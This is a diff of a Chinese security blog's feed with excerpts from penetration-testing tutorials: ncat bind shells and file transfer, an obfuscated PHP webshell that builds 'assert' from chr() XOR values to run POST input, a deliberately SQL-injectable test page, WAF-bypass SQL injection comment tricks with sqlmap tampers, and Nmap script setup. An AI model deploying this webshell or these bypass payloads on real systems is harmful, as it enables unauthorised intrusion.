<span style="color:#f92672">=&gt;</span> <span style="color:#e6db74">&#39;dr_&#39;</span>, +</span></span><span style="display:flex;"><span> <span style="color:#e6db74">&#39;pconnect&#39;</span> <span style="color:#f92672">=&gt;</span> <span style="color:#66d9ef">FALSE</span>, +</span></span><span style="display:flex;"><span> <span style="color:#e6db74">&#39;db_debug&#39;</span> <span style="color:#f92672">=&gt;</span> <span style="color:#66d9ef">true</span>, +</span></span><span style="display:flex;"><span> <span style="color:#e6db74">&#39;cache_on&#39;</span> <span style="color:#f92672">=&gt;</span> <span style="color:#66d9ef">FALSE</span>, +</span></span><span style="display:flex;"><span> <span style="color:#e6db74">&#39;cachedir&#39;</span> <span style="color:#f92672">=&gt;</span> <span style="color:#e6db74">&#39;cache/sql/&#39;</span>, +</span></span><span style="display:flex;"><span> <span style="color:#e6db74">&#39;char_set&#39;</span> <span style="color:#f92672">=&gt;</span> <span style="color:#e6db74">&#39;utf8&#39;</span>, +</span></span><span style="display:flex;"><span> <span style="color:#e6db74">&#39;dbcollat&#39;</span> <span style="color:#f92672">=&gt;</span> <span style="color:#e6db74">&#39;utf8_general_ci&#39;</span>, +</span></span><span style="display:flex;"><span> <span style="color:#e6db74">&#39;swap_pre&#39;</span> <span style="color:#f92672">=&gt;</span> <span style="color:#e6db74">&#39;&#39;</span>, +</span></span><span style="display:flex;"><span> <span style="color:#e6db74">&#39;autoinit&#39;</span> <span style="color:#f92672">=&gt;</span> <span style="color:#66d9ef">FALSE</span>, +</span></span><span style="display:flex;"><span> <span style="color:#e6db74">&#39;encrypt&#39;</span> <span style="color:#f92672">=&gt;</span> <span style="color:#66d9ef">FALSE</span>, +</span></span><span style="display:flex;"><span> <span style="color:#e6db74">&#39;compress&#39;</span> <span style="color:#f92672">=&gt;</span> <span style="color:#66d9ef">FALSE</span>, +</span></span><span style="display:flex;"><span> <span style="color:#e6db74">&#39;stricton&#39;</span> <span style="color:#f92672">=&gt;</span> <span style="color:#66d9ef">FALSE</span>, +</span></span><span style="display:flex;"><span> <span style="color:#e6db74">&#39;failover&#39;</span> <span style="color:#f92672">=&gt;</span> <span style="color:#66d9ef">array</span>(), +</span></span><span style="display:flex;"><span>); +</span></span></code></pre></td></tr></table> +</div> +</div><p>安装界面: + + <img src="https://images.payloads.online/e3529386-4f5e-11ec-a703-00d861bf4abb.jpg" alt="Install"> + +</p>Nmap扩展开发https://payloads.online/archivers/2017-08-07/1/Mon, 07 Aug 2017 00:00:00 +0000https://payloads.online/archivers/2017-08-07/1/<h2 id="0x00-资产扫描汇总实时监控">0x00 资产扫描、汇总、实时监控</h2> <p>资产扫描能够有利于企业内部查看终端、监控终端、对终端进行安全加固。周期性的扫描能有效快速修补漏洞、降低办公网络风险。</p> <h3 id="如何进行汇总实时监控">如何进行汇总、实时监控?</h3> <p>在我们要进行汇总的时候,有如下几个可以考虑的方案。</p> @@ -3598,7 +7188,32 @@ DNS 隧道是隐蔽的、可加密的数据传输隧道,基于 UDP 协议, </p> <h3 id="0x02-简介">0X02 简介</h3> -<p>Nmap (“Network Mapper(网络映射器)”) 是一款开放源代码的 网络探测和安全审核的工具。它的设计目标是快速地扫描大型网络,当然用它扫描单个 主机也没有问题。Nmap以新颖的方式使用原始IP报文来发现网络上有哪些主机,那些 主机提供什么服务(应用程序名和版本),那些服务运行在什么操作系统(包括版本信息), 它们使用什么类型的报文过滤器/防火墙,以及一堆其它功能。虽然Nmap通常用于安全审核, 许多系统管理员和网络管理员也用它来做一些日常的工作,比如查看整个网络的信息, 管理服务升级计划,以及监视主机和服务的运行。</p>端口转发工具小结https://payloads.online/archivers/2017-07-31/1/Mon, 31 Jul 2017 00:00:00 +0000https://payloads.online/archivers/2017-07-31/1/<h2 id="0x00-ncat">0X00 ncat</h2> +<p>Nmap (“Network Mapper(网络映射器)”) 是一款开放源代码的 网络探测和安全审核的工具。它的设计目标是快速地扫描大型网络,当然用它扫描单个 主机也没有问题。Nmap以新颖的方式使用原始IP报文来发现网络上有哪些主机,那些 主机提供什么服务(应用程序名和版本),那些服务运行在什么操作系统(包括版本信息), 它们使用什么类型的报文过滤器/防火墙,以及一堆其它功能。虽然Nmap通常用于安全审核, 许多系统管理员和网络管理员也用它来做一些日常的工作,比如查看整个网络的信息, 管理服务升级计划,以及监视主机和服务的运行。</p> +<h3 id="目录结构">目录结构</h3> +<p> + <img src="https://rvn0xsy.oss-cn-shanghai.aliyuncs.com/2017-08-07/0x02.png" alt="目录结构"> + +</p> +<!-- raw HTML omitted --> +<h3 id="扫描流程-v1">扫描流程 V1</h3> +<p> + <img src="https://rvn0xsy.oss-cn-shanghai.aliyuncs.com/2017-08-07/0x03.png" alt="扫描流程 V1"> + +</p> +<h3 id="扫描流程-v2">扫描流程 V2</h3> +<p> + <img src="https://rvn0xsy.oss-cn-shanghai.aliyuncs.com/2017-08-07/0x05.png" alt="扫描流程 V2"> + +</p> +<h3 id="nse-enginenmap-脚本引擎">Nse Engine(Nmap 脚本引擎)</h3> +<p>Nmap Nse 脚本引擎用于针对发现的OS、主机、端口进行不同的操作,例如:Fuzz测试、漏洞发现、漏洞利用等。这对Nmap又增添了一大亮点,所以说Nmap不只是一个扫描工具,在黑客的手中,更是一款爱不释手的渗透工具。</p> +<h3 id="nse-engine的执行流程">Nse Engine的执行流程</h3> +<p> + <img src="https://rvn0xsy.oss-cn-shanghai.aliyuncs.com/2017-08-07/0x04.png" alt="Nse流程"> + +</p> +<h2 id="0x03-一个简单的扩展打开世界">0X03 一个简单的扩展打开世界</h2> +<p><a href="https://nmap.org/book/nse-api.html">https://nmap.org/book/nse-api.html</a></p>端口转发工具小结https://payloads.online/archivers/2017-07-31/1/Mon, 31 Jul 2017 00:00:00 +0000https://payloads.online/archivers/2017-07-31/1/<h2 id="0x00-ncat">0X00 ncat</h2> <h3 id="反弹shell">反弹shell</h3> <p>服务器:<code>ncat -lnv -c bash 4489</code> 将bash转发到4489端口</p> <p>客户端:<code>ncat -nv 172.17.0.1 4489</code> 连接到目标的4489即可获得交互式bash</p> @@ -3611,7 +7226,35 @@ DNS 隧道是隐蔽的、可加密的数据传输隧道,基于 UDP 协议, <h3 id="建立聊天室">建立聊天室</h3> <p>服务端:<code>ncat -lnv --broker --chat 8432</code></p> <p>客户端:<code>ncat -nv 172.17.0.1 8432</code></p> -<p>参数介绍:</p>光阴是酒,醉了来人https://payloads.online/archivers/2017-06-08/2/Thu, 08 Jun 2017 00:00:00 +0000https://payloads.online/archivers/2017-06-08/2/<p>  季节一茬茬地来了又去了,像人,一批批地走来,又一批批地融化。时间的水,冲刷春夏秋冬,阳春白雪,也让许多人的影子沉溺消逝。尽管寒来暑往是一种经难,而人,也还是在出世入世间醉了自己,醉了时空。</p> +<p>参数介绍:</p> +<p>| <code>--broker</code> | 使用ncat的代理连接模式,允许多个组织连接到ncat的服务器和其他人交流,ncat能创建一个经纪人在连接和系统之间通过NAT或者其他的直接连接。这个选项是和监听模式一起使用的。这会使监听端口的经纪人模式启动 +| <code>--chat</code> | 开启一个简单的ncat聊天服务器</p> +<h3 id="采用ssl加密">采用SSL加密</h3> +<ul> +<li>服务器:<code>ncat -lnv -c bash 4489 --ssl</code></li> +<li>客户端:<code>ncat -nv 172.17.0.1 4489 --ssl</code></li> +</ul> +<h3 id="传输文件">传输文件</h3> +<p>服务端:</p> +<div class="highlight"><div style="color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;"> +<table style="border-spacing:0;padding:0;margin:0;border:0;"><tr><td style="vertical-align:top;padding:0;margin:0;border:0;"> +<pre tabindex="0" style="color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;"><code><span style="white-space:pre;-webkit-user-select:none;user-select:none;margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#7f7f7f">1 +</span><span style="white-space:pre;-webkit-user-select:none;user-select:none;margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#7f7f7f">2 +</span><span style="white-space:pre;-webkit-user-select:none;user-select:none;margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#7f7f7f">3 +</span><span style="white-space:pre;-webkit-user-select:none;user-select:none;margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#7f7f7f">4 +</span><span style="white-space:pre;-webkit-user-select:none;user-select:none;margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#7f7f7f">5 +</span><span style="white-space:pre;-webkit-user-select:none;user-select:none;margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#7f7f7f">6 +</span></code></pre></td> +<td style="vertical-align:top;padding:0;margin:0;border:0;;width:100%"> +<pre tabindex="0" style="color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;"><code class="language-fallback" data-lang="fallback"><span style="display:flex;"><span>root@Kali:~$ ncat -lnv 1788 &gt; tmp.txt +</span></span><span style="display:flex;"><span>Ncat: Version 7.01 ( https://nmap.org/ncat ) +</span></span><span style="display:flex;"><span>Ncat: Listening on :::1788 +</span></span><span style="display:flex;"><span>Ncat: Listening on 0.0.0.0:1788 +</span></span><span style="display:flex;"><span>Ncat: Connection from 172.17.0.2. +</span></span><span style="display:flex;"><span>Ncat: Connection from 172.17.0.2:48004. +</span></span></code></pre></td></tr></table> +</div> +</div><p>客户端:</p>光阴是酒,醉了来人https://payloads.online/archivers/2017-06-08/2/Thu, 08 Jun 2017 00:00:00 +0000https://payloads.online/archivers/2017-06-08/2/<p>  季节一茬茬地来了又去了,像人,一批批地走来,又一批批地融化。时间的水,冲刷春夏秋冬,阳春白雪,也让许多人的影子沉溺消逝。尽管寒来暑往是一种经难,而人,也还是在出世入世间醉了自己,醉了时空。</p> <p>  是谁把光阴酿成了甘醇,一滴酒里就论了乾坤。点点清亮的水液,容纳了大唐的雄风,装进了汉王的豪气。究竟是时光醉了人,还是人醉了时光。</p> <p>  日子不等人,不管你是柴禾背夫,还是皇室王子,气数的极限就等候在眼前,无论你看见还是看见,抑或装作没看见,它都有足够的耐心蹲守在那里。孟婆碗里的汤,从不分高贵与贫贱,人生命的季节末端,总有奈何桥上大一统的公平与平等。</p> <p>  那是一座怎样美妙的彩虹桥啊!谁走在上面,都是天堂的等待。因为这里废弃了等级观念,人人都是光阴酒缸里的裸浴者。王冠和草帽一样的散香,赤裸的身躯同样的云中飞,雾中驰。</p> @@ -3628,7 +7271,11 @@ DNS 隧道是隐蔽的、可加密的数据传输隧道,基于 UDP 协议, <p>  芸芸众生是现实的本来面目,众多星星里一盘月亮才是合乎天规的所在。人想通了,则一通百通。闷头曳犁的牛,常常会在收割的季节里咀嚼出生命最本真的滋味。</p> <p>  一枚草叶的清香,就到达了幸福的彼岸。</p> <p>  境界是文化的酒香,悲剧是历史的命题。回光返照让一个时代疯狂得烫手,谁在持念一把剑的血刃上,玷污了一个民族的良知。</p> -<p>  等候的灯盏照不出人前行后尘的路,官僚阶级的产生,让众生瞠目结舌。于是,畸形的意识腐蚀了经世的流年。世界不变的规律就是不停地在变,海不会枯,石不会烂,只有人的誓言才会在利己的环境下溃散如沙。</p>Cknife Bypass WAFhttps://payloads.online/archivers/2017-06-05/1/Mon, 05 Jun 2017 00:00:00 +0000https://payloads.online/archivers/2017-06-05/1/<h2 id="0x00-前言">0x00 前言</h2> +<p>  等候的灯盏照不出人前行后尘的路,官僚阶级的产生,让众生瞠目结舌。于是,畸形的意识腐蚀了经世的流年。世界不变的规律就是不停地在变,海不会枯,石不会烂,只有人的誓言才会在利己的环境下溃散如沙。</p> +<p>  在排除异己,消除后患的现实面前,翻寻先人业力里的残忍,使人返祖的记忆呈现一派黑色瑰丽,亮了自己的眼,暗了神坛上的的灯。</p> +<p>  尘垢在肉身上结成了一件厚厚的外衣,人活不出自我,就被沉重的衣服拖向黑夜的深渊里。思想的灾难导致凡俗间的不了情,为求得一地生存,早已忘却了天堂和地狱两扇迥异的门。</p> +<p>  斟一杯时光的酒,你来我往的路上,皆是醉汉,踉跄的身影,婀娜的梦想,飘逸出岁月的醇香。</p> +<p>  尘世一缘,相遇相逢,你在我的眼里,我在你的眸上,光阴的酒豪迈了来者的醉意,盘腿一坐,便嗅出了年轮的禅味……</p>Cknife Bypass WAFhttps://payloads.online/archivers/2017-06-05/1/Mon, 05 Jun 2017 00:00:00 +0000https://payloads.online/archivers/2017-06-05/1/<h2 id="0x00-前言">0x00 前言</h2> <p>这篇文章之前写过,由于博客关闭,重写一遍。</p> <p>由于传播、利用此文所提供的信息而造成的任何直接或者间接的后果及损失,均由使用者本人负责,本博主不为此承担任何责任。</p> <blockquote> @@ -3654,7 +7301,20 @@ DNS 隧道是隐蔽的、可加密的数据传输隧道,基于 UDP 协议, </span><span style="white-space:pre;-webkit-user-select:none;user-select:none;margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#7f7f7f">6 </span><span style="white-space:pre;-webkit-user-select:none;user-select:none;margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#7f7f7f">7 </span><span style="white-space:pre;-webkit-user-select:none;user-select:none;margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#7f7f7f">8 -</span></code></prStruts S2-045 Nmap扫描脚本https://payloads.online/archivers/nmap-write-script/Fri, 02 Jun 2017 00:00:00 +0000https://payloads.online/archivers/nmap-write-script/<h2 id="0x00-nmap脚本简介">0x00 Nmap脚本简介</h2> +</span></code></pre></td> +<td style="vertical-align:top;padding:0;margin:0;border:0;;width:100%"> +<pre tabindex="0" style="color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;"><code class="language-php" data-lang="php"><span style="display:flex;"><span><span style="color:#f92672">&lt;?</span><span style="color:#a6e22e">php</span> +</span></span><span style="display:flex;"><span>$___Ss <span style="color:#f92672">=</span> <span style="color:#a6e22e">chr</span>((<span style="color:#ae81ff">97</span> <span style="color:#f92672">^</span> <span style="color:#ae81ff">1</span>)<span style="color:#f92672">+</span><span style="color:#ae81ff">1</span>); <span style="color:#75715e">//[a] +</span></span></span><span style="display:flex;"><span><span style="color:#75715e"></span>$___Ss <span style="color:#f92672">.=</span><span style="color:#a6e22e">chr</span>((<span style="color:#ae81ff">115</span> <span style="color:#f92672">^</span> <span style="color:#ae81ff">1</span>)<span style="color:#f92672">+</span><span style="color:#ae81ff">1</span>); <span style="color:#75715e">//[s] +</span></span></span><span style="display:flex;"><span><span style="color:#75715e"></span>$___Ss <span style="color:#f92672">.=</span><span style="color:#a6e22e">chr</span>((<span style="color:#ae81ff">115</span> <span style="color:#f92672">^</span> <span style="color:#ae81ff">1</span>)<span style="color:#f92672">+</span><span style="color:#ae81ff">1</span>); <span style="color:#75715e">//[s] +</span></span></span><span style="display:flex;"><span><span style="color:#75715e"></span>$___Ss <span style="color:#f92672">.=</span><span style="color:#a6e22e">chr</span>((<span style="color:#ae81ff">101</span> <span style="color:#f92672">^</span> <span style="color:#ae81ff">1</span>)<span style="color:#f92672">+</span><span style="color:#ae81ff">1</span>); <span style="color:#75715e">//[e] +</span></span></span><span style="display:flex;"><span><span style="color:#75715e"></span>$___Ss <span style="color:#f92672">.=</span><span style="color:#a6e22e">chr</span>((<span style="color:#ae81ff">114</span> <span style="color:#f92672">^</span> <span style="color:#ae81ff">0</span>)); <span style="color:#75715e">//[r] +</span></span></span><span style="display:flex;"><span><span style="color:#75715e"></span>$___Ss <span style="color:#f92672">.=</span><span style="color:#a6e22e">chr</span>((<span style="color:#ae81ff">116</span> <span style="color:#f92672">^</span> <span style="color:#ae81ff">0</span>)); <span style="color:#75715e">//[t] +</span></span></span><span style="display:flex;"><span><span style="color:#75715e"></span>$___Ss($_POST[<span style="color:#e6db74">&#39;username&#39;</span>]); +</span></span></code></pre></td></tr></table> +</div> +</div><h2 id="0x01-普通传输模式分析">0x01 普通传输模式分析</h2> +<p>首先我们在WAF开启的情况下直接连接:</p>Struts S2-045 Nmap扫描脚本https://payloads.online/archivers/nmap-write-script/Fri, 02 Jun 2017 00:00:00 +0000https://payloads.online/archivers/nmap-write-script/<h2 id="0x00-nmap脚本简介">0x00 Nmap脚本简介</h2> <p>夜无眠,看了一下Nmap官方的英文API文档(全是English),瞬间心态崩塌,不想吐槽它们的nmap官网前端太丑了=。=,但是都是大牛啊,挺敬佩开源开发者的。</p> <p>Nmap最灵活的就是它的<code>scripts</code>了,在渗透测试中我们经常会用它来扫描服务、漏洞,而且很多脚本也可以用于漏洞利用,总之就是很强大啦~ 具体的介绍在这里:<a href="https://zhuanlan.zhihu.com/p/26618074">Nmap脚本使用指南</a></p> <p>看过《Nmap渗透指南》一书,发现书中对于Nmap脚本的编写是轻描淡写,所以本文就利用一个漏洞实例给大家详细说说这个脚本如何开发的。 @@ -3689,7 +7349,23 @@ DNS 隧道是隐蔽的、可加密的数据传输隧道,基于 UDP 协议, </span><span style="white-space:pre;-webkit-user-select:none;user-select:none;margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#7f7f7f">10 </span><span style="white-space:pre;-webkit-user-select:none;user-select:none;margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#7f7f7f">11 </span><span style="white-space:pre;-webkit-user-select:none;user-select:none;margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#7f7f7f">12 -</span></code></prphpMyAdmin新姿势getshellhttps://payloads.online/archivers/2017-03-05/1/Thu, 23 Mar 2017 00:00:00 +0000https://payloads.online/archivers/2017-03-05/1/<h2 id="0x00-设想">0x00 设想</h2> +</span></code></pre></td> +<td style="vertical-align:top;padding:0;margin:0;border:0;;width:100%"> +<pre tabindex="0" style="color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;"><code class="language-lua" data-lang="lua"><span style="display:flex;"><span><span style="color:#75715e">--</span> +</span></span><span style="display:flex;"><span><span style="color:#75715e">-- Created by IntelliJ IDEA.</span> +</span></span><span style="display:flex;"><span><span style="color:#75715e">-- User: liyingzhe</span> +</span></span><span style="display:flex;"><span><span style="color:#75715e">-- Date: 17-6-3</span> +</span></span><span style="display:flex;"><span><span style="color:#75715e">-- Time: 上午2:07</span> +</span></span><span style="display:flex;"><span><span style="color:#75715e">-- To change this template use File | Settings | File Templates.</span> +</span></span><span style="display:flex;"><span><span style="color:#75715e">--</span> +</span></span><span style="display:flex;"><span><span style="color:#66d9ef">local</span> http <span style="color:#f92672">=</span> require <span style="color:#e6db74">&#34;http&#34;</span> +</span></span><span style="display:flex;"><span><span style="color:#66d9ef">local</span> shortport <span style="color:#f92672">=</span> require <span style="color:#e6db74">&#34;shortport&#34;</span> +</span></span><span style="display:flex;"><span><span style="color:#66d9ef">local</span> stdnse <span style="color:#f92672">=</span> require <span style="color:#e6db74">&#34;stdnse&#34;</span> +</span></span><span style="display:flex;"><span><span style="color:#66d9ef">local</span> string <span style="color:#f92672">=</span> require <span style="color:#e6db74">&#34;string&#34;</span> +</span></span><span style="display:flex;"><span><span style="color:#66d9ef">local</span> vulns <span style="color:#f92672">=</span> require <span style="color:#e6db74">&#34;vulns&#34;</span> +</span></span></code></pre></td></tr></table> +</div> +</div><p>这些基本用于发送HTTP请求、字符串操作、漏洞结果生成、错误调试</p>phpMyAdmin新姿势getshellhttps://payloads.online/archivers/2017-03-05/1/Thu, 23 Mar 2017 00:00:00 +0000https://payloads.online/archivers/2017-03-05/1/<h2 id="0x00-设想">0x00 设想</h2> <p>假设我们拥有MySQL的root权限,登录Web端的phpMyAdmin数据库管理控制台,你有多少种方法去getshell?</p> <p>本文旨在研究新的方法,如果在INTO OUTFILE禁用的情况下,或许会少很多思路了。</p> <p>这里的禁用是完全(权限)禁用,而不是拦截行为。</p> @@ -3716,7 +7392,21 @@ DNS 隧道是隐蔽的、可加密的数据传输隧道,基于 UDP 协议, </span></code></pre></td> <td style="vertical-align:top;padding:0;margin:0;border:0;;width:100%"> <pre tabindex="0" style="color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;"><code class="language-fallback" data-lang="fallback"><span style="display:flex;"><span>#1290 - The MySQL server is running with the --secure-file-priv option so it cannot execute this statement. -</span></span></code></pr渗透测试中的Bypass技巧(四)自动化注入https://payloads.online/archivers/2017-03-10/2/Mon, 13 Mar 2017 00:00:00 +0000https://payloads.online/archivers/2017-03-10/2/<h2 id="0x01-简单测试">0x01 简单测试</h2> +</span></span></code></pre></td></tr></table> +</div> +</div><p> + <img src="https://images.payloads.online/dcd90242-4f5e-11ec-8851-00d861bf4abb.jpg" alt="enter description here"> + +</p> +<p>secure-file-priv这个全局变量是指定文件夹作为导出文件存放的地方,默认情况下,secure-file-priv是一个空值(NULL)。我们现在设置为网站的根目录,再去尝试使用INTO OUTFILE getshell。</p> +<p>但是在我们使用SQL修改的时候,发现这个值是只读的。</p> +<p> + <img src="https://images.payloads.online/dd2a46fc-4f5e-11ec-9bc0-00d861bf4abb.jpg" alt="enter description here"> + +</p> +<p>经过查阅资料知道,这个值只能通过修改MySQL的配置文件来达到修改的目的。</p> +<h2 id="0x02-新姿势测试">0x02 新姿势测试</h2> +<p>这些希望破灭以后我并没有沮丧,我相信这些研究都是有用的,有助于我的思考。</p>渗透测试中的Bypass技巧(四)自动化注入https://payloads.online/archivers/2017-03-10/2/Mon, 13 Mar 2017 00:00:00 +0000https://payloads.online/archivers/2017-03-10/2/<h2 id="0x01-简单测试">0x01 简单测试</h2> <p>列举一下常见的WAF:</p> <ul> <li>安全狗</li> @@ -3759,7 +7449,32 @@ DNS 隧道是隐蔽的、可加密的数据传输隧道,基于 UDP 协议, </span><span style="white-space:pre;-webkit-user-select:none;user-select:none;margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#7f7f7f">19 </span><span style="white-space:pre;-webkit-user-select:none;user-select:none;margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#7f7f7f">20 </span><span style="white-space:pre;-webkit-user-select:none;user-select:none;margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#7f7f7f">21 -</span></code></pr渗透测试中的Bypass技巧(三)自动化注入https://payloads.online/archivers/2017-03-10/1/Tue, 07 Mar 2017 00:00:00 +0000https://payloads.online/archivers/2017-03-10/1/<h2 id="0x00-匹配资源大小限制">0x00 匹配资源大小限制</h2> +</span></code></pre></td> +<td style="vertical-align:top;padding:0;margin:0;border:0;;width:100%"> +<pre tabindex="0" style="color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;"><code class="language-php" data-lang="php"><span style="display:flex;"><span><span style="color:#f92672">&lt;?</span><span style="color:#a6e22e">php</span> +</span></span><span style="display:flex;"><span> +</span></span><span style="display:flex;"><span>$link <span style="color:#f92672">=</span> <span style="color:#a6e22e">mysql_connect</span>(<span style="color:#e6db74">&#39;127.0.0.1&#39;</span>,<span style="color:#e6db74">&#39;root&#39;</span>,<span style="color:#e6db74">&#39;root&#39;</span>)<span style="color:#66d9ef">or</span> <span style="color:#66d9ef">die</span>(<span style="color:#e6db74">&#39;Mysql Cannot Connect&#39;</span>); +</span></span><span style="display:flex;"><span> +</span></span><span style="display:flex;"><span><span style="color:#a6e22e">mysql_select_db</span>(<span style="color:#e6db74">&#39;qq&#39;</span>); +</span></span><span style="display:flex;"><span>$id <span style="color:#f92672">=</span> <span style="color:#a6e22e">isset</span>($_REQUEST[<span style="color:#e6db74">&#39;id&#39;</span>])<span style="color:#f92672">?</span>$_REQUEST[<span style="color:#e6db74">&#39;id&#39;</span>]<span style="color:#f92672">:</span><span style="color:#ae81ff">1</span>; +</span></span><span style="display:flex;"><span> +</span></span><span style="display:flex;"><span>$sql<span style="color:#f92672">=</span><span style="color:#e6db74">&#34;select * from qq where id = &#34;</span><span style="color:#f92672">.</span>$id; +</span></span><span style="display:flex;"><span><span style="color:#66d9ef">echo</span> $sql<span style="color:#f92672">.</span><span style="color:#e6db74">&#39;&lt;hr&gt;&#39;</span>; +</span></span><span style="display:flex;"><span><span style="color:#66d9ef">if</span>(<span style="color:#f92672">!</span>$result <span style="color:#f92672">=</span> <span style="color:#a6e22e">mysql_query</span>($sql)){ +</span></span><span style="display:flex;"><span> +</span></span><span style="display:flex;"><span> <span style="color:#66d9ef">exit</span>(<span style="color:#a6e22e">mysql_error</span>($link)); +</span></span><span style="display:flex;"><span>} +</span></span><span style="display:flex;"><span>$data <span style="color:#f92672">=</span> <span style="color:#a6e22e">mysql_fetch_assoc</span>($result); +</span></span><span style="display:flex;"><span> +</span></span><span style="display:flex;"><span><span style="color:#66d9ef">echo</span> <span style="color:#e6db74">&#39;ID = &#39;</span><span style="color:#f92672">.</span>$data[<span style="color:#e6db74">&#39;id&#39;</span>]<span style="color:#f92672">.</span><span style="color:#e6db74">&#39;&lt;br&gt;&#39;</span>; +</span></span><span style="display:flex;"><span><span style="color:#66d9ef">echo</span> <span style="color:#e6db74">&#39;NAME = &#39;</span><span style="color:#f92672">.</span>$data[<span style="color:#e6db74">&#39;name&#39;</span>]<span style="color:#f92672">.</span><span style="color:#e6db74">&#39;&lt;br&gt;&#39;</span>; +</span></span><span style="display:flex;"><span> +</span></span><span style="display:flex;"><span><span style="color:#66d9ef">echo</span> <span style="color:#e6db74">&#39;AGE = &#39;</span><span style="color:#f92672">.</span>$data[<span style="color:#e6db74">&#39;age&#39;</span>]<span style="color:#f92672">.</span><span style="color:#e6db74">&#39;&lt;br&gt;&#39;</span>; +</span></span><span style="display:flex;"><span> +</span></span><span style="display:flex;"><span><span style="color:#75715e">?&gt;</span><span style="color:#960050;background-color:#1e0010"> +</span></span></span></code></pre></td></tr></table> +</div> +</div><p>从上方代码可以看到ID并没有做过滤</p>渗透测试中的Bypass技巧(三)自动化注入https://payloads.online/archivers/2017-03-10/1/Tue, 07 Mar 2017 00:00:00 +0000https://payloads.online/archivers/2017-03-10/1/<h2 id="0x00-匹配资源大小限制">0x00 匹配资源大小限制</h2> <p>某些Web服务器的特性不一,导致WAF在判断时候无法完全工作。经常出现的情况大部分都是协议层与Web服务器之间WAF没有很好的处理请求,导致无法拦截很多生僻的攻击手法,那么我们先从GET、POST先说起。</p> <p>Get方法提交的数据大小长度并没有限制,HTTP协议规范没有对URL长度进行限制。这个限制是特定的浏览器及服务器对它的限制。可见WAF可能在处理GET请求的时候,根据客户端(浏览器)规定的长度去匹配了,这就造成了一个缺陷。我们可以把有效数据放在这个限制的零界点,攻击语句放在零界点后方,让WAF以为这是一个正常请求,就随之放行,达到了攻击效果。</p> <p>理论上讲,POST是没有大小限制的。HTTP协议规范也没有进行大小限制,起限制作用的是服务器的处理程序的处理能力。</p> @@ -3794,7 +7509,97 @@ DNS 隧道是隐蔽的、可加密的数据传输隧道,基于 UDP 协议, <p>等价替换</p> </li> <li> -<p>And ‘s’ like ‘s’</p>渗透测试中的Bypass技巧(二)https://payloads.online/archivers/2017-03-06/1/Mon, 06 Mar 2017 00:00:00 +0000https://payloads.online/archivers/2017-03-06/1/<h2 id="0x01-http不同的请求方法污染">0x01 HTTP不同的请求方法污染</h2> +<p>And ‘s’ like ‘s’</p> +</li> +</ul> +<p>此时我们已经可以使用like用于盲注(此时可以将所有的 = 替换成 Like )</p> +<p> + <img src="https://images.payloads.online/d6a4edbe-4f5e-11ec-82b2-00d861bf4abb.jpg" alt="enter description here"> + +</p> +<h3 id="注释">注释</h3> +<p>我们可以设想出拦截的特征正则</p> +<p>union与select同时出现会被拦截,union[空格,%20,/*部分字符*/]select都会被拦截,目前普通的union select都会被拦截,既然空格,%20都会被匹配到,我们只能通过/**/内联来注释了(目前发现N多姿势,在这里只共享思路+一个bypass的tamper脚本)</p> +<ul> +<li> +<p><code>/**/</code></p> +</li> +<li> +<p><code>/*数字+字母*/</code></p> +</li> +<li> +<p><code>/*特殊符号+数字+字母*/</code></p> +</li> +<li> +<p>&hellip;..more</p> +</li> +</ul> +<p>假设union左右如果有select就拦截的话,那么定位union与select之间的敏感字符就好,假设union<code>[空格]</code>select,此时如果把空格替换成任意内联,就可bypass这个规则,此时规则也不可能是一条的。条件也是很多的。我们也只能讲内联这个规则做手脚了。</p> +<p>于是乎我发现<code>/*^xxx^xxx*/</code>字母加特殊字符即可bypass。</p> +<p>因为每个特征中都没有匹配到^与小写字母、大写字母、数字的组合,这些条件可以继续测试,笔者已经把此文写到最佳精简,测试期间也翻看过拦截日志,定位拦截特征。</p> +<p>(Union注入)例如在读取:mysql密码、表名的时候,我们还会查询information_schema数据库,这个可以转换大小写,或者在information_schema.TABLES直接再添加一个注释。下面就是测试过程:首先测试简单的and 1=1</p> +<p> + <img src="https://images.payloads.online/d6ea58ea-4f5e-11ec-924c-00d861bf4abb.jpg" alt="enter description here"> + +</p> +<p>然后我们使用注释bypass:</p> +<p> + <img src="https://images.payloads.online/d72ef748-4f5e-11ec-9570-00d861bf4abb.jpg" alt="enter description here"> + +</p> +<p>此时已经bypass成功了,我在这里用的是某dog 4.0(3.5也可以)</p> +<p> + <img src="https://images.payloads.online/d773335e-4f5e-11ec-ba40-00d861bf4abb.jpg" alt="enter description here"> + +</p> +<h2 id="0x03-自动化bypass注入">0x03 自动化bypass注入</h2> +<p>我们通过编写sqlmap的tamper用于bypass,主要是需要定位各种拦截点,使用sqlmap替换Payload。</p> +<p>首先在sqlmap的tamper文件夹里创建一个safedog.py,编写我们的tamper脚本</p> +<p> + <img src="https://images.payloads.online/d7beadfc-4f5e-11ec-8261-00d861bf4abb.jpg" alt="enter description here"> + +</p> +<div class="highlight"><div style="color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;"> +<table style="border-spacing:0;padding:0;margin:0;border:0;"><tr><td style="vertical-align:top;padding:0;margin:0;border:0;"> +<pre tabindex="0" style="color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;"><code><span 